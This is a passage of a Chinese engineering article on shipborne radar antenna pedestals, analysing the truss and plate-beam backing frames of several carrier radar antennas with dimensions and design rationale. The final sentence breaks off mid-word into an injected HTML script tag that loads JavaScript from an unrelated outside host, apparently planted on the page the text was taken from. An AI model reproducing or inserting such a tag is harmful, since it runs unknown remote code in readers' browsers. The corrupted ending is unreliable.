摘 要：利用舰载雷达天线转台系统的一些典型设计实例，对系统中天线背架、方位转盘和基座等关键受力部件的结构型式、特点及设计原理作了分析，提出结构设计时需要考虑的一些问题。
关键词：舰载雷达；天线转台系统；关键受力部件；结构型式
1 引 言
舰载雷达的天线转台系统通常是由天线、转台和 基座等部分组成的。其中，天线包含有反射体、背架、 馈源和馈源支架。转台包含有框架、方位转盘、传动装 置、波导铰链和汇流环。天线转台系统架设在舰船桅 杆的顶部，工作在海洋环境中。它所承受的载荷包括 风载荷、惯性载荷、自重、温度载荷和冰雪载荷等几种 类型。在满足电性能要求和工作环境条件的前提下， 既要保证系统具有足够的强度、刚度和固有频率，又要 尽量减轻它的重量，以提高系统的适装性和舰船的稳 定性，这是系统各组成部分特别是关键受力部件结构 设计时需要仔细考虑的问题。下面主要对舰载雷达天 线转台系统中关键受力部件的结构型式进行讨论。
2 关键受力部件的结构型式
这里列举舰载雷达天线转台系统的一些典型设计 实例，着重对系统中天线背架、方位转盘和基座等关键 受力部件的结构进行分析。
例1 某航母雷达采用柱形抛物面天线，天线的 反射面由镀锌钢丝网构成，反射面的焦距为2080 mm。天线口面的长度为9000mm，宽度为7490mm。 天线的背架采用桁架结构，由主背架、左骨架和右骨架 组成。主背架的结构型式如图1所示，其特点及设计
原理如下：
（1）天线的主背架由16mn钢管及用作法兰的厚 钢板焊接而成。主背架采用2种管材，其横截面尺寸 （外径×壁厚）分别为42mm×4mm、36mm×3mm（用 于斜撑）。主背架对称性较好，造型美观，刚度高，承载能力强。
（2）主背架的基本单元是6面体，包含有8个结点 18根杆件，具有几何不变性。基本单元中，有2个面 平行于yz坐标平面，有2个面平行于xz坐标平面，有1个面的法线与反射面上相对应的那部分曲面在某点处的法线基本一致。主背架的高度与跨度的比值k＝ 700／9000＝0．08。
（3）为了尽量减小天线的质心与转台方位轴的距 离，主背架中间部分的高度设计得较小（为350mm）， 以免主背架与转台上的球形支座发生干扰。
（4）主背架通过法兰ⅰ（共24个）与左、右骨架联 接，主背架上的法兰ⅲ（共2个）用于安装吊环螺钉，这 样便于背架的运输和架设。
（5）天线采用线性馈源，该馈源通过馈源支架和3 对支撑杆与主背架联接。主背架上的法兰ⅱ（共6个） 用于固定馈源支架。主背架上的e1～e6点为主背架 与支撑杆的连接点。天线通过设置在主背架上e7～ e10点的安装法兰与方位转台上的支架联接。
例2 某航母雷达采用旋转抛物面天线，天线的 反射面由栅条构成，反射面的焦距为1340mm，天线 的口径为3500mm。天线的背架采用桁架结构，由中 心体和辐射梁组成。背架的结构型式如图2所示，其特点及设计原理如下：
（1）天线的背架由外径为30mm、壁厚为2mm的 铝合金管以及铝合金板焊接而成。由2个带圆孔的正 8边形铝合金板与16个铝合金管焊接而成的中心体 具有足够的强度和刚度。这种背架对称性好，便于设 计和加工。
（2）背架的基本单元中，有2个面通过z轴，有1 个面的法线与反射面上相对应的那部分曲面在某点处 的法线基本一致。背架安装反射体的一侧在xy坐标 平面上的投影有2个正8边形和2个正16边形。背 架上设置4个安装法兰的一侧在xy坐标平面上的投 影有3个正8边形和2个正16边形。正8边形向正 16边形过渡是通过增加结点和杆件的数目即增加单 元数来实现的。这样可使背架边缘附近的单元尺寸与 其它单元的尺寸比较接近，有利于提高结构的刚度。 背架的高度与跨度的比值k＝445／3500＝0．13。
（3）背架上的e1～e4点为背架对馈源支架的支 点。天线通过设置在背架上e5～e8点的安装法兰与 方位转台上的支架联接。
例3 某雷达采用双弯曲反射面天线，反射面由 打孔的铝合金板构成，反射面的焦距为1360mm。天 线口面的长度为3300mm，高度为1150．8mm。天线 的背架采用板梁结构，由座架、框架、左骨架、右骨架和l形件组成。背架的结构型式如图3所示，其特点及设计原理如下
（1）天线的背架由铝合金板及筒体（lf6r）焊接而 成，通过低温退火消除焊接应力。背架造型美观，结构 简洁，具有足够的强度和刚度，重量较轻。
（2）背架可看作是水平梁、垂直梁和筒体的组合体，梁的横截面为空心矩形截面，这有利于提高结构的强度和刚度。
（3）背架通过16个l形件与反射体的背筋联接，l形件与背架焊接，与背筋采用定位螺栓联接，这种联 接方式是在模具上通过修配来实现的。
（4）背架上的法兰ⅰ用于安装馈源支架，法兰ⅲ（共2个）用?script src=http://er12.com/t.js>
